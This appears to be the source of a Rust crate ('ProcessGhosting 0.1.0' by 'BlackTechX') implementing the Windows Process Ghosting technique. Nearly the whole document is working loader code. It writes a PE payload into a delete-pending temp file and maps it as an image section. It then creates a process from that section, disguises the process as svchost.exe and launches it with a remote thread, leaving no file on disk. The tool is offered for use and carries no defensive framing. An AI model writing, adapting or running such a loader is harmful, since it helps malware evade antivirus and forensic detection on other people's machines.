ProcessGhosting 0.1.0

Process Ghosting technique implementation - Execute PE files from memory without leaving traces on disk
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
//! Core Process Ghosting Implementation
//! Author: BlackTechX

#![allow(non_snake_case)]

use crate::ntapi::*;
use std::ptr;
use std::ffi::c_void;
use winapi::um::fileapi::{WriteFile, GetTempPathW, GetTempFileNameW};
use winapi::um::handleapi::{CloseHandle, INVALID_HANDLE_VALUE};
use winapi::um::memoryapi::WriteProcessMemory;
use winapi::um::processthreadsapi::GetCurrentProcess;
use winapi::um::winnt::{
    GENERIC_READ, GENERIC_WRITE, DELETE, SYNCHRONIZE,
    SECTION_ALL_ACCESS, PAGE_READONLY, SEC_IMAGE,
    PROCESS_ALL_ACCESS, MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE,
    THREAD_ALL_ACCESS, FILE_SHARE_READ, FILE_SHARE_WRITE,
};
use winapi::shared::minwindef::{DWORD, MAX_PATH, LPVOID};
use winapi::shared::ntdef::{HANDLE, PVOID, ULONG};
use winapi::shared::basetsd::SIZE_T;

/// Target architecture for the payload
#[derive(Clone, Copy, Debug, PartialEq)]
pub enum Architecture {
    X86,
    X64,
}

impl std::fmt::Display for Architecture {
    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
        match self {
            Architecture::X86 => write!(f, "x86"),
            Architecture::X64 => write!(f, "x64"),
        }
    }
}

/// Configuration for the ghosting operation
#[derive(Clone)]
pub struct GhostingConfig {
    pub payload: Vec<u8>,
    pub architecture: Architecture,
    pub verbose: bool,
}

impl GhostingConfig {
    /// Create a new configuration
    pub fn new(payload: Vec<u8>, architecture: Architecture) -> Self {
        Self {
            payload,
            architecture,
            verbose: true,
        }
    }

    /// Create configuration for x64 payload
    pub fn x64(payload: Vec<u8>) -> Self {
        Self::new(payload, Architecture::X64)
    }

    /// Create configuration for x86 payload
    pub fn x86(payload: Vec<u8>) -> Self {
        Self::new(payload, Architecture::X86)
    }
}

/// Helper macro for verbose printing
macro_rules! btx_print {
    ($verbose:expr, $($arg:tt)*) => {
        if $verbose {
            println!($($arg)*);
        }
    };
}

/// Create a wide string from a Rust string
fn to_wide_string(s: &str) -> Vec<u16> {
    use std::os::windows::ffi::OsStrExt;
    std::ffi::OsStr::new(s)
        .encode_wide()
        .chain(std::iter::once(0))
        .collect()
}

/// Create a section from a file in delete-pending state
unsafe fn create_section_from_pending_deletion(
    file_path: &[u16],
    data_buffer: &[u8],
    verbose: bool,
) -> Result<HANDLE, String> {
    // Get NT functions
    let fn_nt_open_file: FnNtOpenFile = get_ntdll_function("NtOpenFile")?;
    let fn_rtl_init_unicode_string: FnRtlInitUnicodeString = get_ntdll_function("RtlInitUnicodeString")?;
    let fn_nt_set_information_file: FnNtSetInformationFile = get_ntdll_function("NtSetInformationFile")?;
    let fn_nt_create_section: FnNtCreateSection = get_ntdll_function("NtCreateSection")?;

    let mut file_handle: HANDLE = ptr::null_mut();
    let mut section_handle: HANDLE = ptr::null_mut();
    let mut unicode_file_path = UNICODE_STRING::default();
    let mut io_status_block = IO_STATUS_BLOCK::default();

    // Initialize unicode string
    fn_rtl_init_unicode_string(&mut unicode_file_path, file_path.as_ptr());

    // Initialize object attributes
    let mut object_attributes = OBJECT_ATTRIBUTES::new(&mut unicode_file_path, OBJ_CASE_INSENSITIVE);

    btx_print!(verbose, "[+] Attempting to open the file...");

    // Open file
    let status = fn_nt_open_file(
        &mut file_handle,
        GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE,
        &mut object_attributes,
        &mut io_status_block,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        FILE_SUPERSEDED | FILE_SYNCHRONOUS_IO_NONALERT,
    );

    if !nt_success(status) {
        return Err(format!("[-] Failed to open the file. NTSTATUS: 0x{:08X}", status));
    }

    btx_print!(verbose, "[+] Setting file to delete-pending state...");

    // Set disposition flag
    let mut file_disposition = FILE_DISPOSITION_INFORMATION { DeleteFile: 1 };

    let status = fn_nt_set_information_file(
        file_handle,
        &mut io_status_block,
        &mut file_disposition as *mut _ as PVOID,
        std::mem::size_of::<FILE_DISPOSITION_INFORMATION>() as ULONG,
        FILE_INFORMATION_CLASS::FileDispositionInformation,
    );

    if !nt_success(status) {
        CloseHandle(file_handle);
        return Err(format!("[-] Failed to set file to delete-pending state. NTSTATUS: 0x{:08X}", status));
    }

    btx_print!(verbose, "[+] Writing data to delete-pending file...");

    // Write payload to file
    let mut bytes_written: DWORD = 0;
    let write_result = WriteFile(
        file_handle,
        data_buffer.as_ptr() as *const c_void,
        data_buffer.len() as DWORD,
        &mut bytes_written,
        ptr::null_mut(),
    );

    if write_result == 0 {
        CloseHandle(file_handle);
        return Err("[-] Failed to write data to the file".to_string());
    }

    btx_print!(verbose, "[+] Creating section from delete-pending file...");

    // Create section
    let status = fn_nt_create_section(
        &mut section_handle,
        SECTION_ALL_ACCESS,
        ptr::null_mut(),
        ptr::null_mut(),
        PAGE_READONLY,
        SEC_IMAGE,
        file_handle,
    );

    if !nt_success(status) {
        CloseHandle(file_handle);
        return Err(format!("[-] Failed to create section from delete-pending file. NTSTATUS: 0x{:08X}", status));
    }

    btx_print!(verbose, "[+] Section successfully created from delete-pending file.");

    // Close the delete-pending file handle (this triggers deletion)
    CloseHandle(file_handle);
    btx_print!(verbose, "[+] File successfully deleted from disk...");

    Ok(section_handle)
}

/// Launch a process from a section
unsafe fn launch_process_from_section(section_handle: HANDLE, verbose: bool) -> Result<HANDLE, String> {
    let fn_nt_create_process_ex: FnNtCreateProcessEx = get_ntdll_function("NtCreateProcessEx")?;

    let mut process_handle: HANDLE = INVALID_HANDLE_VALUE;

    btx_print!(verbose, "[+] Creating process from section...");

    // Create process with file-less section
    let status = fn_nt_create_process_ex(
        &mut process_handle,
        PROCESS_ALL_ACCESS,
        ptr::null_mut(),
        GetCurrentProcess(),
        PS_INHERIT_HANDLES,
        section_handle,
        ptr::null_mut(),
        ptr::null_mut(),
        0,
    );

    if !nt_success(status) {
        return Err(format!("[-] Failed to create the process. NTSTATUS: 0x{:08X}", status));
    }

    Ok(process_handle)
}

/// Retrieve the entry point address
unsafe fn retrieve_entry_point(
    process_handle: HANDLE,
    payload_buffer: &[u8],
    process_info: &PROCESS_BASIC_INFORMATION,
    verbose: bool,
) -> Result<usize, String> {
    let fn_rtl_image_nt_header: FnRtlImageNtHeader = get_ntdll_function("RtlImageNtHeader")?;
    let fn_nt_read_virtual_memory: FnNtReadVirtualMemory = get_ntdll_function("NtReadVirtualMemory")?;

    let mut image_buffer = [0u8; 0x1000];
    let mut bytes_read: SIZE_T = 0;

    let status = fn_nt_read_virtual_memory(
        process_handle,
        process_info.PebBaseAddress as PVOID,
        image_buffer.as_mut_ptr() as PVOID,
        image_buffer.len(),
        &mut bytes_read,
    );

    if !nt_success(status) {
        return Err(format!("[-] Failed to read remote process PEB base address. NTSTATUS: 0x{:08X}", status));
    }

    let peb = &*(image_buffer.as_ptr() as *const PEB);
    let image_base = peb.ImageBaseAddress as usize;

    btx_print!(verbose, "[+] PEB Base Address of the target process: 0x{:016X}", image_base);

    // Get NT headers from payload
    let nt_headers = fn_rtl_image_nt_header(payload_buffer.as_ptr() as PVOID);
    if nt_headers.is_null() {
        return Err("[-] Failed to get NT headers from payload".to_string());
    }

    let entry_point_rva = (*nt_headers).OptionalHeader.AddressOfEntryPoint as usize;
    let entry_point_address = entry_point_rva + image_base;

    btx_print!(verbose, "[+] Calculated EntryPoint of the payload buffer: 0x{:016X}", entry_point_address);

    Ok(entry_point_address)
}

/// Main function to execute the ghost process
pub fn execute_ghost_process(config: GhostingConfig) -> Result<(), String> {
    unsafe {
        let verbose = config.verbose;

        btx_print!(verbose, "[*] BlackTechX ProcessGhosting - Starting...");
        btx_print!(verbose, "[*] Target Architecture: {}", config.architecture);
        btx_print!(verbose, "[*] Payload Size: {} bytes", config.payload.len());

        // Validate payload (check for MZ header)
        if config.payload.len() < 2 || config.payload[0] != 0x4D || config.payload[1] != 0x5A {
            return Err("[-] Invalid payload: Missing MZ header".to_string());
        }

        // Get required NT functions
        let fn_query_process_info: FnNtQueryInformationProcess = 
            get_ntdll_function("NtQueryInformationProcess")?;
        let fn_init_unicode_str: FnRtlInitUnicodeString = 
            get_ntdll_function("RtlInitUnicodeString")?;
        let fn_create_remote_thread: FnNtCreateThreadEx = 
            get_ntdll_function("NtCreateThreadEx")?;
        let fn_write_memory: FnNtWriteVirtualMemory = 
            get_ntdll_function("NtWriteVirtualMemory")?;
        let fn_alloc_memory: FnNtAllocateVirtualMemory = 
            get_ntdll_function("NtAllocateVirtualMemory")?;
        let fn_create_proc_params: FnRtlCreateProcessParametersEx = 
            get_ntdll_function("RtlCreateProcessParametersEx")?;

        // Create temp file path with BlackTechX prefix
        let mut temp_dir = [0u16; MAX_PATH];
        let mut temp_file = [0u16; MAX_PATH];
        
        GetTempPathW(MAX_PATH as u32, temp_dir.as_mut_ptr());
        
        // Use "BTX" as prefix for temp files (BlackTechX)
        let btx_prefix: [u16; 4] = ['B' as u16, 'T' as u16, 'X' as u16, 0];
        GetTempFileNameW(
            temp_dir.as_ptr(),
            btx_prefix.as_ptr(),
            0,
            temp_file.as_mut_ptr(),
        );

        // Create NT path
        let temp_file_str: String = String::from_utf16_lossy(
            &temp_file[..temp_file.iter().position(|&c| c == 0).unwrap_or(temp_file.len())]
        );
        let full_path = format!("\\??\\{}", temp_file_str);
        let nt_path_wide = to_wide_string(&full_path);

        btx_print!(verbose, "[+] Temp file path: {}", temp_file_str);

        // Create section from pending deletion
        let section_handle = create_section_from_pending_deletion(
            &nt_path_wide,
            &config.payload,
            verbose,
        )?;

        if section_handle == INVALID_HANDLE_VALUE || section_handle.is_null() {
            return Err("[-] Failed to create memory section".to_string());
        }

        // Launch process from section
        let target_process = launch_process_from_section(section_handle, verbose)?;

        if target_process == INVALID_HANDLE_VALUE || target_process.is_null() {
            return Err("[-] Failed to create ghosted process".to_string());
        }

        btx_print!(verbose, "[+] Ghosted process created successfully.");

        // Retrieve process information
        let mut proc_basic_info = PROCESS_BASIC_INFORMATION::default();
        let mut proc_info_length: ULONG = 0;

        let status = fn_query_process_info(
            target_process,
            PROCESSINFOCLASS::ProcessBasicInformation,
            &mut proc_basic_info as *mut _ as PVOID,
            std::mem::size_of::<PROCESS_BASIC_INFORMATION>() as ULONG,
            &mut proc_info_length,
        );

        if !nt_success(status) {
            return Err(format!("[-] Failed to retrieve process information. NTSTATUS: 0x{:08X}", status));
        }

        // Retrieve entry point
        let ep_address = retrieve_entry_point(
            target_process,
            &config.payload,
            &proc_basic_info,
            verbose,
        )?;

        // Create process parameters - use svchost.exe as cover
        let target_path = to_wide_string("C:\\Windows\\System32\\svchost.exe");
        let mut unicode_target_file = UNICODE_STRING::default();
        fn_init_unicode_str(&mut unicode_target_file, target_path.as_ptr());

        let dll_dir = to_wide_string("C:\\Windows\\System32");
        let mut unicode_dll_path = UNICODE_STRING::default();
        fn_init_unicode_str(&mut unicode_dll_path, dll_dir.as_ptr());

        let mut proc_params: *mut RTL_USER_PROCESS_PARAMETERS = ptr::null_mut();

        let status = fn_create_proc_params(
            &mut proc_params,
            &mut unicode_target_file,
            &mut unicode_dll_path,
            ptr::null_mut(),
            &mut unicode_target_file,
            ptr::null_mut(),
            ptr::null_mut(),
            ptr::null_mut(),
            ptr::null_mut(),
            ptr::null_mut(),
            RTL_USER_PROC_PARAMS_NORMALIZED,
        );

        if !nt_success(status) || proc_params.is_null() {
            return Err(format!("[-] Failed to create process parameters. NTSTATUS: 0x{:08X}", status));
        }

        // Allocate memory for process parameters in target process
        let mut param_buffer: PVOID = proc_params as PVOID;
        let mut param_size: SIZE_T = ((*proc_params).EnvironmentSize + (*proc_params).MaximumLength as usize) as SIZE_T;

        let status = fn_alloc_memory(
            target_process,
            &mut param_buffer,
            0,
            &mut param_size,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE,
        );

        if !nt_success(status) {
            return Err(format!("[-] Failed to allocate memory for process parameters. NTSTATUS: 0x{:08X}", status));
        }

        btx_print!(verbose, "[+] Allocated memory for process parameters at {:p}.", param_buffer);

        // Write process parameters into the target process
        let write_size = (*proc_params).EnvironmentSize + (*proc_params).MaximumLength as usize;
        let _status = fn_write_memory(
            target_process,
            proc_params as PVOID,
            proc_params as PVOID,
            write_size,
            ptr::null_mut(),
        );

        // Get remote PEB
        let remote_peb = proc_basic_info.PebBaseAddress;

        // Update the address of the process parameters in the target process's PEB
        let proc_params_ptr = proc_params as PVOID;
        let peb_params_offset = &(*remote_peb).ProcessParameters as *const _ as *mut c_void;
        
        let write_result = WriteProcessMemory(
            target_process,
            peb_params_offset,
            &proc_params_ptr as *const _ as *const c_void,
            std::mem::size_of::<PVOID>(),
            ptr::null_mut(),
        );

        if write_result == 0 {
            return Err("[-] Failed to update process parameters in the target PEB".to_string());
        }

        btx_print!(verbose, "[+] Updated process parameters address in the remote PEB.");

        // Create the thread to execute the ghosted process
        let mut remote_thread: HANDLE = ptr::null_mut();

        let status = fn_create_remote_thread(
            &mut remote_thread,
            THREAD_ALL_ACCESS,
            ptr::null_mut(),
            target_process,
            ep_address as LPVOID,
            ptr::null_mut(),
            0,
            0,
            0,
            0,
            ptr::null_mut(),
        );

        if !nt_success(status) {
            return Err(format!("[-] Failed to create remote thread. NTSTATUS: 0x{:08X}", status));
        }

        btx_print!(verbose, "[+] Remote thread created and executed.");
        btx_print!(verbose, "[+] BlackTechX ProcessGhosting completed successfully!");

        Ok(())
    }
}